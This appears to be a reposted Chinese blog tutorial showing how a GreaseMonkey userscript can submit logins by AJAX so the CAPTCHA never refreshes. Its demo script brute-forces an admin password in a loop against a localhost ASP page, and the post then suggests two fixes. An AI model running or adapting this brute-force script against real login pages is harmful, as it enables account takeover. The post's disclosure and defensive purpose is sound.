GreaseMonkey让网站登录验证码形同虚设

2023-10-11 00:10

本文主要是介绍GreaseMonkey让网站登录验证码形同虚设,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

通常,为了增加暴力猜解网站用户密码的难度,我们会在网页登录框中增加一个验证码,验证码保存在服务器端,而客户端则使用一张图片显示:



验证码在整个登录过程表现为:用户打开登录页面时,服务器产生一个验证码,点击登录后,跳转到登录页面,服务器端检查用户输入的验证码是否正确,若错误,跳回到登录页面,生成一个新验证码让用户再次输入登录。 注意,生成新验证码的条件是登录页面刷新了!

以前没觉得这有什么问题,今天了解12306自动登录脚本后,发现这问题太严重了,当使用GreaseMonkey时,简直可以无视验证码的存在,原因是 借助GreaseMonkey可以在页面使用Ajax提交表单进行登录,这过程不会刷新登录页面,所以服务器不会生成新验证码,因而只要手工输下验证码,脚本就可以不断尝试登录进行猜解用户名密码!

1.GreaseMonkey自动登录演示


为了减少代码量,便于说明问题,下边演示时验证码不转为图形,直接输出Session,效果一样,不影响结论。

 

Default.asp:
View Code
<%@LANGUAGE= " VBSCRIPT " CODEPAGE= " 65001 "%>
<!DOCTYPE html  PUBLIC  " -//W3C//DTD XHTML 1.0 Transitional//EN "  " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd ">
<html xmlns= " http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv= " Content-Type " content= " text/html; charset=utf-8 " />
<title>登录演示</title>
</head>

<body>
<%
Randomize
SESSION( " passCode ") =  Int( 8999* Rnd+ 1000' 生成验证码
%>
<form id= " form1 " name= " form1 " method= " post " action= " Login.asp ">
用户名:<input type= " text " name= " txtUsn " id= " txtUsn " /><br />
密码:<input type= " text " name= " txtUsp " id= " txtUsp " /><br />
验证码:<input type= " text " name= " txtPassCode " id= " txtPassCode " /><%=SESSION( " passCode ")%> <br />
<input type= " submit " name= " btn1 " id= " btn1 " value= " 提交 " />
</form>
</body>
</html>
Login.asp:
View Code
<%
Response.Charset =  " utf-8 "

Dim usn, usp, code, msg
usn = Request.Form( " txtUsn ")
usp = Request.Form( " txtUsp ")
code = Request.Form( " txtPassCode ")

Response.Write(Login(usn, usp, code))

' 登录函数
Function Login(usn, usp, code)
     If SESSION( " Login ") =  True  Then
        Login =  " 登录成功. "
     Else
         If usn<> ""  And usp<> ""  Then
             If code<> CStr(SESSION( " passCode "))  Then
                Login =  " 验证码出错,请重新输入. "
                 Exit  Function
             End  If
        
             If usn= " admin "  And usp= " admin888 "  Then
                SESSION( " Login ") =  True
                Login =  " 登录成功. "
             Else
                Login =  " 用户名或密码出错,请重新输入. "
             End  If
         Else
            Login =  " 用户未登录. "
         End  If
     End  If    
End Function
%>
复制代码
GreaseMonkey脚本:
View Code
//  ==UserScript==
//
 @name           自动登录
//
 @namespace      com.mzwu
//
 @include        http://localhost/default.asp
//
 @require           https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
//
 ==/UserScript==


if( typeof($) != "undefined")
{
    $("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登录测试\" />");

    $("#btn2").click( function(){
         var usn = "admin";
         var usp = "";
         var code = $("#txtPassCode").val();
         var responseText = "";
         var i = 0;

         while(responseText.indexOf("登录成功") == -1)
        {
            usp = "admin88" + (++i);  // 猜解密码
            $.ajax({
                type : "POST",
                url  : "Login.asp?r=" + Math.random(),
                data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
                async:  false,
                success :  function(msg){
                    responseText = msg;
                     if(responseText.indexOf("登录成功") != -1)
                    {
                        alert("登录成功.尝试次数:" + i);
                        location.href = "Login.asp";
                    }
                }
            });
        }
    });

    clearInteval(timer);
}
复制代码
测试结果:

 


2.解决方法


提供两种解决方法供参考:

方法一:当验证登录用户名或密码出错时,服务器端强制生成新验证码;
方法二:当尝试登录5次失败时,将帐户锁定一段时间不能登录;

3.参考资料

[1].Firefox扩展Greasemonkey使用示例: http://www.mzwu.com/article.asp?id=3091

这篇关于GreaseMonkey让网站登录验证码形同虚设的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/184101

相关文章

Security OAuth2 单点登录流程

单点登录(英语:Single sign-on,缩写为 SSO),又译为单一签入,一种对于许多相互关连,但是又是各自独立的软件系统,提供访问控制的属性。当拥有这项属性时,当用户登录时,就可以获取所有系统的访问权限,不用对每个单一系统都逐一登录。这项功能通常是以轻型目录访问协议(LDAP)来实现,在服务器上会将用户信息存储到LDAP数据库中。相同的,单一注销(single sign-off)就是指

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

Spring 验证码(kaptcha)

首先引入需要的jar包: <dependency><groupId>com.github.axet</groupId><artifactId>kaptcha</artifactId><version>0.0.9</version></dependency> 配置验证码相关设置: <bean id="captchaProducer" class="com.

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

49个权威的网上学习资源网站

艺术与音乐 Dave Conservatoire — 一个完全免费的音乐学习网站,口号是“让每一个人都可以接受世界级的音乐教育”,有视频,有练习。 Drawspace — 如果你想学习绘画,或者提高自己的绘画技能,就来Drawspace吧。 Justin Guitar — 超过800节免费的吉他课程,有自己的app,还有电子书、DVD等实用内容。 数学,数据科学与工程 Codecad

BT天堂网站挂马事件后续:“大灰狼”远控木马分析及幕后真凶调查

9月初安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序。 鉴于bt天堂电影下载网站访问量巨大,此次挂马事件受害者甚众,安全团队专门针对该木马进行严密监控,并对其幕后真凶进行了深入调查。 一、“大灰狼”的伪装 以下是10月30日一天内大灰狼远控的木马样本截图,可以看到该木马变种数量不

PHP抓取网站图片脚本

方法一: <?phpheader("Content-type:image/jpeg"); class download_image{function read_url($str) { $file=fopen($str,"r");$result = ''; while(!feof($file)) { $result.=fgets($file,9999); } fclose($file); re

Shell脚本实现自动登录服务器

1.登录脚本 login_server.sh #!/bin/bash# ReferenceLink:https://yq.aliyun.com/articles/516347#show all host infos of serverList.txtif [[ -f ./serverList.txt ]]thenhostNum=`cat ./serverList.txt | wc -l`e

使用WebP解决网站加载速度问题,这些细节你需要了解

说到网页的图片格式,大家最常想到的可能是JPEG、PNG,毕竟这些老牌格式陪伴我们这么多年。然而,近几年,有一个格式悄悄崭露头角,那就是WebP。很多人可能听说过,但到底它好在哪?你的网站或者项目是不是也应该用WebP呢?别着急,今天咱们就来好好聊聊WebP这个图片格式的前世今生,以及它值不值得你花时间去用。 为什么会有WebP? 你有没有遇到过这样的情况?网页加载特别慢,尤其是那

黑客为什么不黑赌博网站来搞米?

攻击了,只是你不知道而已! 同样,对方也不会通知你,告诉你他黑了赌博网站。 攻击赌博网站的不一定是正义的黑客,也可能是因赌博输钱而误入歧途的法外狂徒。之前看过一个警方破获的真实案件:28岁小伙因赌博无法提款自学成为黑客,攻击境外博彩网站日进万元,最终因涉嫌非法控制计算机信息系统罪被捕。 我见过很多因赌博输钱想请黑客帮忙渗透网站的人,在被拒后,同样也有人生出极端心理,问我怎么学习黑客,想学成之